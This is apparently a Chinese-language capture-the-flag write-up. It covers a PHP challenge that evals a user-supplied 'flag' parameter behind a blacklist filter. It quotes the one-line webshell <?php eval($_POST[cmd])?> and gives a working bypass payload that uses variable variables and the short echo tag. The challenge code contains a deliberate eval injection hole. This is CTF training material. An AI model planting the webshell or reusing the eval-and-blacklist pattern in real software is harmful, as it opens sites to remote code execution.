题目
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
1.eval函数漏洞
这个函数会导致任意代码执行,也就是常见的一句话木马<?php eval($_POST[cmd])?>
2.echo flag 绕过
因为echo被禁了,所以该怎么构造flag的值呢?
sha1可以利用短标签来绕过,<?php ?>是长标签,<? ?>是短标签
并且<?= ?>和<?php echo ?>是一样的意思
3.结果
绕过语句
?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111